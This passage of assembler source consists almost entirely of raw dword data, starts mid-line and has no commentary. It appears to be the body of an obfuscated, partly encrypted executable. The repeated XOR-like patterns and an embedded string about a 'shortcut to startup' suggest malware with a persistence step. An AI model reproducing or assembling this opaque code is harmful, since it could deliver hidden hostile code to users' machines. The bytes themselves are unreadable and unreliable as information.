0B0D2991Fh, 0EE8h, 6A8AE700h, 9047214Bh dd 1F8F5A8h, 60078042h, 2F359D8Bh, 8166060Bh, 61C4A2C7h dd 8DC38B5Ah, 103B188Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 781AB004h, 0A2E360EAh dd 9D09B975h, 60B1949h, 174D8D89h, 6A060Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0DA3AAEC3h dd 858BF5C0h, 60B1771h, 11985C7h, 5A80060Bh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0E11C62C3h, 81EBC065h, 0B58902BDh, 60B0721h, 100985C7h dd 60Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0F171BCC3h, 0B3B5DD5Eh, 0F85AFEB2h dd 1F8DB5FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8B9ED2C3h, 0B02B9B5h, 0C595FF06h dd 29060B0Ah, 0B1A098Dh, 0FF006A06h, 0B32DD95h, 0EBC08B06h dd 64287B3Ah, 6EA445C8h, 0D56F3C9Ch, 974E75F9h, 0CE10A656h dd 5302C33Bh, 11E924Ch, 0CB42BA28h, 0EF90E48Eh, 53CF4716h dd 0CCBAAAEBh, 0D197BF95h, 921481B0h, 4AB1CC16h, 8D855F1Dh dd 103C208Dh, 89D5B406h, 0B174D8Dh, 0C5850106h, 0C7060B1Bh dd 0B011985h, 73A006h, 198D2900h, 0C7060B24h, 0B100985h dd 6, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 1B04EE7Eh, 89584FE4h, 0B0E699Dh dd 0EE906h, 7E230000h, 6140DD8Bh, 0A1464217h, 8153ED86h dd 2705B5FFh, 6A060Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0EE3F34C3h, 8936A33Bh, 0B31959Dh dd 0C595FF06h, 6A060B0Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0C034C353h, 8B1328E0h dd 0B12AD95h, 0FF006A06h, 0B32DD95h, 0EBC08B06h, 0F9C4416Bh dd 0BA397A66h, 0AE8A9379h, 29AF5801h, 0DCC28FDFh, 0F281C1Bh dd 57830D44h, 38CECF0Ch, 67E4B3E7h, 0B215088Eh, 1AA6B020h dd 0EBEE2F9Eh, 0C3966507h, 13C8526Fh, 0EF2F45D5h, 0CDEE79FFh dd 0ABD4755Fh, 667826FCh, 0EEC0C2CBh, 4898E336h, 5D64DB66h dd 30BA06E2h, 0B7FFCD0Eh, 0D8B94945h, 25BB99E6h, 0F0E90CB9h dd 3775A810h, 12E8h, 72117200h, 9554E1DDh, 9BFB40F7h, 0FB683753h dd 56F74023h, 5ACE8B66h, 259D295Fh, 81060B0Bh, 61B1C7h dd 0CE86000h, 86000000h, 2148896Bh, 0B02CB26h, 89E52C90h dd 0B018995h, 0BD8B5A06h, 60B0509h, 0B861h, 8B660000h dd 3834FFD0h, 81CA8B5Eh, 0CE02F9EEh, 812BB610h, 2934B0EEh dd 0D081604Ah, 600BEF01h, 79F68161h, 8B2C1D30h, 0B0BF18Dh dd 7348906h, 7B6A75B9h, 9E825h, 57500000h, 0AB9B7353h dd 0E9A5EF35h, 0Eh, 0E156C18h, 4E315B18h, 0ACF4A49Bh, 815BF058h dd 0E8F0E7E8h, 499D010Ch, 81060B2Bh, 0E8F0E3C0h, 12E90Ch dd 8D7E0000h, 7D2FC3D6h, 2EADCB77h, 66D37DB3h, 0BA4332ACh dd 9F54F881h, 850FFFFFh, 1Eh, 4398D8Bh, 2BE9060Bh, 0E5000000h dd 0A14268E8h, 0B942106Ah, 851FC5E3h, 0C4AC008Ah, 8D8BBEFAh dd 60B3389h, 0FFFF50E9h, 0CD346DFFh, 50B7243Dh, 9AE082D0h dd 0AB172887h, 0EB30A32Fh, 39948E6Fh, 948835EFh, 96F41A05h dd 2DB03659h, 0A8D446E4h, 20C7E259h, 320333E2h, 0EB3060B4h dd 2BD9305Ch, 1E6BBAE4h, 0A67138CEh, 26082979h, 700ECCE2h dd 0FA53B0BCh, 2B7138CDh, 78EB2490h, 2BD9305Ch, 1E6BBAE4h dd 0A67138CEh, 260B3A79h, 700ECCE2h, 7CEE59BCh, 2B77300Ch dd 0E8E413E4h, 0FA1BABBh, 0FAAB2E0h dd 2B772FE0h, 0E8EC74E4h, 3417DE23h, 65BF9C54h, 2B7EDA9Fh dd 4FA33E4h, 63C7538Fh, 2233B6FCh, 2077BA69h, 417BB8E2h dd 283561E4h, 0BEE33E4h, 0A22DF0BEh, 0AABF17B0h, 3FD917A0h dd 69EE33E4h, 28E2F0B6h, 20919259h, 0F35155E2h, 385B8EE7h dd 2FDF35EFh, 2FF5B7EBh, 2BB733E4h, 2BEDDBB3h, 745733E4h dd 57326C27h, 6F5C37C0h, 2BF237C0h, 7C3033E4h, 0E13A3D27h dd 48937Fh, 966D3B6Dh, 2D7C3DD5h, 6B3F3CE4h, 41DD33E4h dd 280663E4h, 0B7733E4h, 0A2E3F0BCh, 0AAD917A0h, 3CEA17A0h dd 6B7733E4h, 0A118F0B4h, 0BE5613BAh, 2DE51E19h, 2B74C00Dh dd 2BAADAE4h, 15A33E4h, 9419C9CBh, 0BABA73FDh, 30E8381h dd 95C7F3CAh, 29EE14E4h, 300EAEEDh, 0E43B35EFh, 0F158BE77h dd 41E83D94h, 289F64E4h, 0BBB33E4h, 0A282F0BBh, 0AAEA1798h dd 307317A0h, 6CBB33E4h, 5F47F0B3h, 7B7D6C1Fh, 9EFE7CF8h dd 2DB02025h, 0A656E31Bh, 2DE5358Dh, 0AF78F361h, 2BBB3300h dd 2BDD220Dh, 5A14EAE4h, 0B713DFC3h, 0F236E0D6h, 3CDBFA8Dh dd 136F9C75h, 0D0F655B3h, 2B96B6EBh, 0AABB33E4h, 29EC379Ch dd 280AB7EBh, 2BD133E4h, 2BDEDBB6h, 71CE33E4h, 7FFE6927h dd 6F3A37C0h, 2BC437C0h, 79AC33E4h, 0F0B30827h, 4D236D16h dd 4B410B65h, 2B64B6EBh, 2B1D33E4h, 2BB8DBB5h, 72FD33E4h dd 67676A27h, 6FF637C0h, 2BAE37C0h, 7A9C33E4h, 0C3299F27h dd 2B7733F4h, 2B82D3D3h, 59469FA1h, 0BCA7988Bh, 8FC5624Fh dd 391ABE6Fh, 0A28435EFh, 20DED679h, 290FB3E2h, 6A3E3C0Ch dd 41DD33E4h, 280662E4h, 0B7733E4h, 0A2E2F0BDh, 0AAD917A8h dd 33EA17A0h, 6A7733E4h, 3FC9F0B5h, 4D23C891h, 4D824F5Fh dd 2B714B65h, 3A3E3C4Fh, 2DD33E4h, 20EFA679h, 29BADAE2h dd 0AE3233E4h, 2DD61255h, 2AEF335Ah, 4DA6B8A2h, 0C692D965h dd 5B07B669h, 250635EAh, 1F7733E4h, 0A287451Dh, 182C9F9Fh dd 922BDE9Ch, 4FCE6C88h, 0D496F26Fh, 16601A34h, 0AEE838EDh dd 5AF33C24h, 41BB33E6h, 283561E4h, 0BEE33E4h, 0A22DF0BEh dd 0AABF17B0h, 32D917A0h, 69EE33E4h, 4CE0F0B6h, 0B2FE34EFh dd 1A88A66Dh, 966735EFh, 2D7C315Dh, 16DD0B65h, 0AED231E6h dd 2BEE33A4h, 0C326338Eh, 2BBB33E7h, 721E6AC4h, 2FCA7F6Dh dd 2F537765h, 2BBB33FCh, 0DC1E62A5h, 0B319CEC1h, 57AEB282h dd 0AA68B8AFh, 16BB359Ch, 0AFE149BBh, 2B7731FBh, 3B92AE6Fh dd 0AE5435EFh, 2DE51ADDh, 0B74FB282h, 0BA3E3C84h, 41DD33E4h dd 280664E4h, 0B7733E4h, 0A2E4F0BBh, 0AAD91798h, 3DEA17A0h dd 6C7733E4h, 71D5F0B3h, 0B636B309h, 14B8E6Fh, 53F735EFh dd 0AEB4DBE6h, 2BDD3384h, 0C3BE338Eh, 2B7733E7h, 73786BC4h dd 2FF9776Dh, 2FCA7765h, 2B7733F0h, 0E17863A4h, 0B654C053h dd 2DE532BDh, 2D0FB282h, 0AEB4F3E4h, 2BDD33D4h, 34BB66Dh dd 0B79E35EFh, 41BB33E5h, 283562E4h, 0BEE33E4h, 0A22EF0BDh dd 0AABF17A8h, 3ED917A0h, 6AEE33E4h, 559BF0B5h, 722E32B7h dd 70DB38D5h, 2AEF335Ah, 67A9B39Ah, 5B61B669h, 0AE5435EAh dd 2DE529A5h, 2B1DE31Bh, 2BB8DBB5h, 72FD33E4h, 67676A27h dd 6FF637C0h, 2BA337C0h, 7A9C33E4h, 0B0875827h, 9C7847FDh dd 247BB61Eh, 2BDC2860h, 79EE59E4h, 2B77300Ch, 0E8E113E4h dd 0F89BABEh, 0FAAB2E0h, 2B772AE0h, 0E8E971E4h, 59ADAE0Eh dd 0C3BFDE82h, 2B7733F6h, 55ACBE1Dh, 72CB4AF3h, 0FA2BA696h dd 6B697052h, 4ADB17BCh, 135D6ABEh, 516B3C0Ch, 417733E4h dd 285361E4h, 0BDD33E4h, 0A2B4F0BEh, 0AA7317B0h, 3FBF17A0h dd 69DD33E4h, 0AB3BF0B6h, 2404369Ch, 2BBB6761h, 7ADD59E4h dd 2BEE300Ch, 0E82E13E4h, 0FF7BABDh, 0F99B2E0h, 2BEE25E0h dd 0E82672E4h, 0A10629EBh, 2CA5B32Eh, 8B6A3CB7h, 417733E4h dd 285365E4h, 0BDD33E4h, 0A2B0F0BAh, 0AA731790h, 37BF17A0h dd 6DDD33E4h, 73FFF0B2h, 0F9000DFBh, 0A2C8AA4Ah, 20DD2259h dd 136F55E2h, 0AE78366Bh, 2BBB33B4h, 43DB4B64h, 2BA8B6EBh dd 2B1D33E4h, 2BB8DBB7h, 70FD33E4h, 77676827h, 6FF637C0h dd 2BAF37C0h, 789E33E4h, 0A7E1C527h, 2B7733E9h, 463E3084h dd 4DDB38CDh, 8582FA65h, 53F65585h, 249ECCEFh, 2BDD3861h dd 0F263BAE4h, 0C27138CEh, 2BBB33FFh, 2BDD335Ch, 0AE6764E4h dd 2D7C2A5Dh, 2B9CDABFh, 0BE5633E4h, 2DE52B45h, 93BCB882h dd 2BBB33E5h, 2BDD390Ch, 0A494B7E4h, 742537D3h, 0A0C95A44h dd 20C84279h, 9CE169E2h, 0A4786336h, 2BBB33E6h, 2F547E55h dd 29693CC0h, 0A07733E4h, 0B506BE1Eh, 0A6DB23D9h, 3BAD2E69h dd 7E548BE2h, 0AEB84482h, 2DD621A1h, 335AFCCFh, 0B39A2AEFh dd 0B66967A9h, 35EA5B61h, 29A5AE54h, 0E31B2DE5h, 0DBB52B1Dh dd 5E983B8h, 8B58A4F3h, 0B11398Dh, 8D035206h, 60B18E5h dd 0FC00B5Ah, 6784h, 0E3816600h, 0B58DC3B4h, 60B4DD7h dd 3B8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0E9B4F912h, 0Dh, 416102F9h, 7B4BB4B2h dd 0AB3B3636h, 6AE6FF95h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0EC7BC352h, 375C3058h dd 32A2BF66h, 698D8940h, 0F8060B29h, 12E9C08Bh, 17000000h dd 0DCFBA3EEh, 0E680DBC2h, 75F47B71h, 0C4BEADDBh, 0BDBD833Ch dd 60B05h, 0BD830975h, 60B29D1h, 50197400h, 0B8C08B53h dd 403h, 12998589h, 9D8D060Bh, 60DB381h, 585BD3FFh, 29D1BD83h dd 7400060Bh, 0B8535017h, 403h, 12998589h, 9D8D060Bh, 60DB022h dd 585BD3FFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 0EFC35141h, 0C2DBD29h, 8D8B060Bh, 60B056Dh, 0DD8AC08Bh dd 3800Fh, 0BF0F0000h, 0CE861DEh, 0F3000000h, 0D44A1EEDh dd 43BFE176h, 8BA397B1h, 0ACB958CBh, 81144355h, 5A75C0h dd 0FFB70F00h, 166C68h, 0A58D8B00h, 5E060B13h, 68C0Fh dd 0D7810000h, 0C8777C2h, 9D8B30FFh, 60B18BDh, 0B529605Ah dd 60B2EE9h, 0EA8161F8h, 40E53760h, 83C281F5h, 8123C3DAh dd 0E8DB2EE7h, 78EA8161h, 6645A39Ah, 3B1EDB81h, 0DEBF0F52h dd 0E883008Fh, 69BF6601h, 4848481Dh, 2E850F4Eh, 0E8000000h dd 9, 758E8A73h, 0C1B25C3Dh, 19D8B2Eh, 59060B1Ah, 33E9h dd 84F19700h, 7EFFBE16h, 0EB56D24Fh, 0E895B7CFh, 2047F138h dd 0F99D8B7Fh, 0E9060B0Ah, 0FFFFFF80h, 4BBC5773h, 0F5E36963h dd 14EFFE41h, 2E6E86D0h, 7E3EF4EEh, 0D4712ADEh, 0DC4B46D4h dd 0C8557F01h, 98525CD4h, 0A90B3363h, 982633A9h, 5E265AF1h dd 930E76EFh, 0B44E6033h, 67A5E4FFh, 933566F8h, 80A3BEA0h dd 67203D2Eh, 79A3BA79h, 1B2038D6h, 930126D7h, 1D293333h dd 98263383h, 0DD1EB6C0h, 157635B6h, 886319D6h, 0DD963AFh dd 9E2D3135h, 98266483h, 15235935h, 8863091Fh, 1DAB634Bh dd 9E36768Ch, 81B3CC03h, 932038ACh, 0A1A23C14h, 1526336Ah dd 886309B0h, 0AACE639Ch, 0D826334Dh, 0D8A3BEF6h, 0C8202316h dd 0DD1CB624h, 677635C4h, 93263EFFh, 94E2B033h, 0DD1CB617h dd 1576355Dh, 88631923h, 0DD96355h, 9E2D3148h, 9826513Dh dd 74AD666Ah, 0CE746464h, 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h dd 97260CD3h, 67D9C62Ch, 13EF002Bh, 0B2CF3B17h, 0AB263335h dd 1831B948h, 68AD03A7h, 5AAD63E8h, 982C8800h, 9BCF33A9h dd 6F2633D4h, 66A57D89h, 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh dd 97E638EEh, 67D9FDD6h, 0C6E7B856h, 517F6C8Eh, 152637A8h dd 88631B88h, 0C5ABBE9Ch, 2020230Bh, 93h, 71E7FC78h, 0D0073102h dd 4C783C8h, 0F2850F49h, 8DFFFFFFh, 10465DB5h, 7C8D8D06h dd 2B061046h, 5E983CFh, 6E8C88Bh, 0EE000000h, 9888F2D5h dd 69BD89F7h, 5A060B17h, 5B99D89h, 0C281060Bh, 6369h, 1FFD8D89h dd 0A9BB060Bh, 29000018h, 0B03B9BDh, 0B032FF06h, 9D895EABh dd 60B3339h, 566AF681h, 8C0F2BC3h, 5, 73CF8166h, 0D0EE81D8h dd 0E930DAE7h, 0Bh, 0B2D02092h, 4516BD2Dh, 812F8F62h, 29359CC6h dd 9E832h, 35DC0000h, 0F859EC6Ah, 8B12B395h, 0B206D8Dh dd 32895806h, 68C0Fh, 85010000h, 60B1A75h, 9A4CEA81h, 0D4803563h dd 48C28196h, 8B35639Ah, 0B016585h, 850F4B06h, 10h, 1E9DBD89h dd 1DE9060Bh, 1F000000h, 171AE926h, 18D98166h, 0FF6FE9B7h dd 1203FFFFh, 3432EF2Ch, 79C69D38h, 7E3A8A17h, 482F8D8Dh dd 870F0610h, 3, 89D7D780h, 0B174D8Dh, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 9BCEB098h, 22618524h, 27699501h, 85C7060Bh, 60B0119h dd 637Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 68C35343h, 11B8D620h, 45622B78h, 22DB589h, 8B0F060Bh dd 12h, 0DE9h, 4CF16F00h, 0E2F58A48h, 367380EEh, 85C74ADEh dd 60B1009h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0D0C35141h dd 5B5132FAh, 0B5FF3958h, 60B1A31h, 0AC595FFh, 840F060Bh dd 6, 51BD01h, 9E9060Bh, 0A2000000h, 679504D0h, 49DD0A99h dd 95FF006Ah, 60B32DDh, 5DEBC08Bh, 9CD20DADh, 0CE196560h dd 0E8480A62h, 93537775h, 1388F3C4h, 0E5AA5C95h, 0D0CC078Ch dd 4AF0E38Eh, 473C3416h, 17A82285h, 94C80DF3h, 0D88D2005h dd 59B6B75Ah, 0FF170D2h, 8723D017h, 0CEEAE65Bh, 0DD43CBEDh dd 0E6E444C8h, 9C02C26Dh, 2A1BE2B0h, 950265FBh, 0BECEBD15h dd 5C09E9E7h, 536CEBDEh, 74726F68h, 20747563h, 73206F74h dd 74726174h, 7075h, 13h dup(0) dd 6C000000h, 110DADAh, 0E9000000h, 1073h, 104AA468h, 0FA27E906h dd 0BB68FFFBh, 0E906104Bh, 0FFFBFA1Dh, 104DA368h, 0FA13E906h dd 0E568FFFBh, 0E906104Dh, 0FFFBFA09h, 104EE168h, 0F9FFE906h dd 6C68FFFBh, 0E906104Fh, 0FFFBF9F5h, 1053E668h, 0F9EBE906h dd 0A168FFFBh, 0E9061056h, 0FFFBF9E1h, 1057AD68h, 0F9D7E906h dd 95EAFFFBh, 50AB4E39h, 0F6E8976h, 0C92DC8B7h, 87E702CDh dd 0A24F400Fh, 0AF1876F6h, 0EC5B33B4h, 2897EF09h, 68D7AFCDh dd 0BD429583h, 0DA7BADA5h, 7351A0D7h, 9D5D1BE0h, 3C03875h dd 826592ECh, 9AF4756Ch, 344B8870h, 8B4CFE5Ah, 0AEAE1975h dd 0E88EDB98h, 5D86E881h, 759D89D0h, 90BF1BE7h, 7BFCC41Ah dd 0D4598A04h, 3F759D89h, 9D896734h, 8E8C8C75h, 113B93D5h dd 0B7914D29h, 8A8558ACh, 0E44F4D4Fh, 6F928417h, 660DC3Ch dd 2F0412C0h, 0D02E2810h, 23ED1AF6h, 7EFA7Dh, 0EFDB6CF7h dd 7FF56F92h, 57CE358Ch, 3351BC0Dh, 66000000h, 0A19F637Bh dd 8A7436B6h, 5E89E74Fh, 6F9232D1h, 33ED1AE6h, 418A5DCFh dd 6B6F9234h, 68D32695h, 0ACBC0E17h, 4B337A6h, 0B8473E90h dd 0B24Fh, 9B516800h, 51D3F708h, 2CF162EFh, 4B759D81h dd 9EC1BF7h, 0EE719BF3h, 411A308Eh, 26B9532Bh, 0F601CEC8h dd 759D7D70h, 0E7502E4Ch, 0C112EE0Ch, 759D7C3Ch, 0E10BE75Bh dd 8BE54D91h, 8A91C458h, 0FE49B14Fh, 0AA24459Eh, 69D1159Dh dd 7F69240Fh, 0EA564984h, 5B334B8Ch, 95F109ECh, 59F5105Fh dd 8845E7E4h, 0E08h, 14E3DB10h, 4F3896D1h, 8E795594h, 0C8B70F6Bh dd 6F1CD2Dh, 0BC3CE809h, 79F275C2h, 35B7B21Dh, 0F50BEE59h dd 5BC52E99h, 0ADA70388h, 6699107Bh, 0ED5A34B4h, 0D9A6B1EFh dd 0FE759D5Ch, 5CCA5780h, 11E9759Dh, 91EF8AB5h, 7B534A35h dd 43A19F63h, 0FE6C6A80h, 0EA62F502h, 0E74F8A73h, 0C33A3D1Bh dd 4EF921CBh, 33A02982h, 0CACA6F92h, 6996F009h, 7BFC2893h dd 0B56587FFh, 17BC278Ah, 0CD6FBC0Eh, 8000000h, 7E5836B4h dd 0EFFA02E8h, 30DF8126h, 2BA3DB9Ch, 90EE0ACDh, 0C402A567h dd 0F8759E1Ch, 0B8BB0482h, 901DC642h, 0A7759E1Bh, 454DFF5Bh dd 0E97F59A1h, 7CFD66E3h, 3E30E802h, 3EC944B2h, 0FCF9955Eh dd 1CFC4F8Ah, 0C9C52122h, 76F1CF3Eh, 8D6D9FF7h, 691162BBh dd 0CA751690h, 0DA34FEE0h, 84A88909h, 4AA49449h, 0E6116D89h dd 0B10D6DE6h, 6FE8C6C6h, 0E0ADB610h, 0C36984C8h, 5D597842h dd 6FA004Dh, 26D1ADCDh, 91532B43h, 0E459B3E0h, 0F1B89537h dd 0F00000Ch, 0C82B94F2h, 8366D1ADh, 42A5126Ch, 4DFA826h dd 301DEAE4h, 0FBD32BFFh, 3690E90Ch, 724CAE49h, 0B20C6285h dd 0E7702CC5h, 7BADA81Ah, 0B40D7039h, 0AED5A34h, 362D9AF4h dd 6A3236B4h, 0C3489BC7h, 0D0759D69h, 0EB72E668h, 9764CF29h dd 0BC759D86h, 0F14AE05Ch, 7EB4037Bh, 687EE868h, 24135D6Bh dd 49C56E48h, 4C4F8A77h, 44955ECCh, 6E6F9238h, 65CE2396h dd 51BC0E13h, 0D17E5896h, 1164h, 41CE7100h, 0CE000009h dd 5CBA4790h, 61D9759Dh, 9651EFD6h, 6ED27856h, 2D15C9E1h dd 9DF970F3h, 3896D46Fh, 0C5722E12h, 588BE9C7h, 759D5CD3h dd 64EF18E0h, 4F8A73F4h, 0E4C80BD9h, 34EF7D93h, 0BCCB258h dd 0EE719BF3h, 0AB54308Eh, 0FAD4B2C8h, 6587FF79h, 589B8AB5h dd 0D886A422h, 3175A12h, 96A15FB0h, 0B60F20C3h, 8477E9E6h dd 6D45CA00h, 0C06A649Bh, 2237D618h, 48A641CEh, 0C2DA104Eh dd 0E9E5063Bh, 0B2499F43h, 8B854B3Bh, 836010DDh, 0FE79E817h dd 2F280680h, 864AF5D1h, 4E279D2Dh, 2C9F9508h, 18E7DF1Dh dd 0C9279FDDh, 0B0332B03h, 0DE69B416h, 718B4C32h, 0CB1FEA15h dd 0AF084DD6h, 49A7C209h, 967824Dh, 5590538Dh, 0E06FD379h dd 0DF82642Ch, 0B00B219Dh, 4CAC5E38h, 9DA3490h, 0E23AF5D9h dd 88B74C4h, 0A02BB3AEh, 76F64D49h, 520EF218h, 0CCDFE374h dd 61FADC2Fh, 0F32D8905h, 521D4D7Dh, 0E900E4D0h, 70631EDh dd 26DD7ADCh, 52A8AB1Eh, 0FFE7CB74h, 9BE1AEB9h, 0AF61E26h dd 4BE770AEh, 4EF813B5h, 75E94F2h, 856DD414h, 555DEF18h dd 0F94FA991h, 66825100h, 0C81EC268h, 7D8AE2F3h, 85BD41Fh dd 9240F20Dh, 0FB13BB4Ah, 0F02E8AEBh, 329DF977h, 7DDB937h dd 3BD20E5Ch, 93C19B3h, 1700000Bh, 0D013FCDAh, 0AB4E3995h dd 6A8D7A54h, 2CC7B00Eh, 805F2CCh, 0C3BB33E7h, 1E78F174h dd 5A34B6B1h, 9AF40AEDh, 8F58C42Dh, 7BADAA02h, 0B4659811h dd 0C6C03F36h, 36BBE86Ah, 0B852D841h, 0AC75Dh, 0A21C5100h dd 0FFD712D5h, 3896D510h, 7650944Fh, 0B00E6E89h, 7D29C6C7h dd 333681FDh, 0F073DCBAh, 0B4AF1876h, 7AEF5836h, 0AA44C91Ah dd 5E537BADh, 5836B427h, 0F40BCCB2h, 7F88709Ah, 5F8884E4h dd 759D5CD2h, 43BD19E1h, 5D2DF265h, 0F64A759Dh, 79FADA49h dd 0B56587FFh, 5D03885Bh, 2810759Dh, 0A79A241Fh, 1E15913Fh dd 5FC528C2h, 8E5285E3h, 0AB4F8B37h, 5298F857h, 2B83F35Ah dd 5A2DDAF2h, 844D3B16h, 2F4E11D5h, 0E945B557h, 5796518Fh dd 0A905D07Fh, 7087C232h, 0FB7E75F7h, 0B2052783h, 71A9433Bh dd 4AB66A95h, 240ED0A0h, 0F6BECCAh, 44FD88B7h, 3B81BB75h dd 488BE9C7h, 5E9F5432h, 0E916CA60h, 0B896F00Eh, 41565CB2h dd 4CFBAC82h, 464FFDDh, 0A20115E0h, 0DE963BAh, 0E7096702h dd 135AD989h, 3896D52Fh, 0F1722E12h, 33EF1D79h, 52FA9D57h dd 7B11AC22h, 9CB9Ah, 0BE185500h, 0FBD316D1h, 3492E90Ch dd 724CA84Bh, 8C0A6285h, 7125CAC3h, 37329DF9h, 0F46FD8B6h dd 48AB1472h, 6EB5432h, 0AB40CD16h, 5A577BADh, 5836B423h dd 0F7CF29B2h, 5CD0FD08h, 0CD11759Dh, 0AFC80B65h, 3AC535D7h dd 0D51E7C5Ah, 759D5D48h, 39C6116Fh, 5E759D5Dh, 6EF906E2h dd 4F8D152Ch, 64FFD921h, 0C13F8806h, 9D03CE0Bh, 0E413DA72h dd 0B593EB01h, 0B05F37B2h, 0AB235B1Ch, 0C2BC3E81h, 52147700h dd 11EC9EDEh, 940h, 5C2BA3D8h, 97605E99h, 0D6A11D5Ch, 10FFD713h dd 4E3995D5h, 84E4B041h, 41BABD0Ah, 0FD7FFA45h, 0BD333681h dd 83FD76C1h, 0ADABCB50h, 0BEA1E87Bh, 0B25836B4h, 51FBD329h dd 52EFDA52h, 0DAD5A21Ch, 0B602ED71h, 5CF32h, 637BC300h dd 96180F8h, 1B75D18Dh, 8D15CEC8h, 17FC34Fh, 0BBACA8C6h dd 6F8D14F6h, 2E6D4129h, 4FCDA096h, 0D3795594h, 68D7B36Fh dd 0BA509E42h, 18943331h, 0EFD73ECh, 7FF350BBh, 56D335h dd 7BE40000h, 73FDF365h, 188A619Eh, 725A1DBh, 23017FDBh dd 9E1F6B30h, 0FE835475h, 15759E1Fh, 1C2B1725h, 1FE6ABBCh dd 0D0D759Eh, 0FD87541Fh, 13E95526h, 88EA51A8h, 19BDD669h dd 43000000h, 9FDDD08Dh, 0E817B25Eh, 2A0CEF1h, 78CE0000h dd 0B48274F5h, 2D94A3BDh, 0A19F637Bh, 5D0B9043h, 0EB1C759Dh dd 0D210F00Eh, 668255E7h, 0A21EC268h, 922C3795h, 8F4F8DE8h dd 569255B3h, 0AA3DCF78h, 6F8DE922h, 1E705B1Dh, 0E4E205C8h dd 0AB052E08h, 96497D9Fh, 0E21ADDAAh, 7DFD46E4h, 0B9BFEB01h dd 0D511D252h, 60EF53F9h, 9E696585h, 0AAC3225Bh, 9EF885AEh dd 231F697Dh, 0FE41EB47h, 8A04667Dh, 3FBB3C2Eh, 0D812A547h dd 718B4CFEh, 8B7EF615h, 48B3B599h, 0E9E51BDCh, 27CF843h dd 9F5430E8h, 1BC76561h, 96F009ECh, 423CBFB8h, 0B346B5h dd 0C6697D9Fh, 9A5D2AA4h, 83C06A64h, 1BE07351h dd 38759D5Dh, 0DBDFD2AAh, 0EEA1A3Bh, 0CB37A901h, 5935B6C9h dd 482E47Fh, 0E0D3AE6h, 0FAD4B2CBh, 79860079h, 8141443Fh dd 79C26866h, 3F618B03h, 35B7D239h, 0DD03FD59h, 0F3309BEEh dd 4DF3B601h, 84000004h, 0B05A34B4h, 6D02F4Fh, 785696B3h dd 6A37201Eh, 0BD759D5Ch, 0CC40903Bh, 81798335h, 0C6C8776h dd 0DC5A2730h, 2540759Dh, 0BD5F83A9h, 0A8A3E15Dh, 3A3D774Fh dd 4E48A3C2h, 87E77892h, 0DBB3340Fh, 1EED4331h, 9B6EC064h dd 41926E8Eh, 759DDBBCh, 2C8B67DBh, 51FBD329h, 9DDD4E9Eh dd 0E5E11A75h, 1C7AFC47h, 55A4BAEEh, 0CE3DBB53h, 0F6413DB3h dd 0E2AFB896h, 0C8759DDBh, 552BD1ADh, 9DDBFD82h, 4A261A75h dd 0FA23E584h, 63EC91F5h, 0ED0F6680h, 87E07B91h, 5A90530Fh dd 0B612CE7Ch, 0CE2D2694h, 7E6A7EF0h, 0BD51C46Bh, 3577C792h dd 0B0A6759Eh, 42BE3849h, 0C56E6881h, 759E3438h, 0B807E35Fh dd 9E2794ADh, 3C12BF75h, 5828A501h, 0FE43AFFCh, 0E1E4B601h dd 0E8FFFFFEh, 98B20C6Fh, 0B42097A0h, 74EF5836h, 44C91AF6h dd 53759D5Dh, 561933EFh, 759D5E06h, 0D3F97D2h, 0B456304Ah dd 0E7A168CEh, 0F1AE147h, 7B7AF2F1h, 4D298501h, 0EA4C8282h dd 0E61EF7CDh, 5D9D58E7h, 0CB290761h, 9D7F9318h, 8B58A075h dd 759D8006h, 53F9D514h, 62ED6DEFh, 1E2105AEh, 0EB618512h dd 6D62C920h, 67C58676h, 0D2000000h, 0A19F637Bh, 8D151CB6h dd 553014Fh, 0E922D6BFh, 91CF7DD9h, 75A2665Bh, 30CA179h dd 8D47AC70h, 85748C6Fh, 12F4C72Ch, 1579CFBCh, 0FC71A20Bh dd 292E1720h, 2E000000h, 9DFBD315h, 8D2DC54Ah, 0E16ED26Fh dd 5327A4FAh, 8B72759Dh, 0FFFFFD80h, 10CEACh, 78CE0000h dd 4A307AA3h, 0AB123D5Ah, 2A3CEh, 9B51D700h, 0A1FAEFF1h dd 8C11C2B9h, 0AB759E58h, 9975FB57h, 3C78065Dh, 0E705E06Fh dd 0FFBBB1EFh, 25500C4Dh, 5604C877h, 0D37C5A9Dh, 619BDA10h dd 30ECEA02h, 0FD4A261Ah, 0EFC931B5h, 8ABB3044h, 725154Fh dd 92BB1BACh, 4CBFB56Fh, 0D8C8EF5h, 2F4D86BCh, 0BA45B557h dd 484Dh, 74F07300h, 0FF08F01Ah, 9F637B98h, 0F26543A1h dd 759D5D2Dh, 0BE49F64Ah, 4F8A743Eh, 7F5DCF33h, 0E70581E4h dd 0F0790C3Bh, 9A6F9233h, 390F7742h, 0AFFB9AECh, 6A956D5h dd 0BC0ECF9Dh, 0A20Eh, 0B3350E00h, 3EC931DBh, 5836B447h dd 0F5D129B2h, 201C589Bh, 9D5C6A37h, 0D5B18975h, 0EF08CB37h dd 13A46897h, 2BF063DDh, 48759D5Dh, 88F614F0h, 0A956304Fh dd 69D6B0CEh, 9D59589Eh, 0B8165475h, 5803DBCFh, 568AA01Eh dd 454B9CFAh, 504F8F88h, 97508EE8h, 2ACD7A54h, 0E80BF4D2h dd 0AD3C3690h, 0DCDE4EEDh, 4C6EF2Eh, 1D520000h, 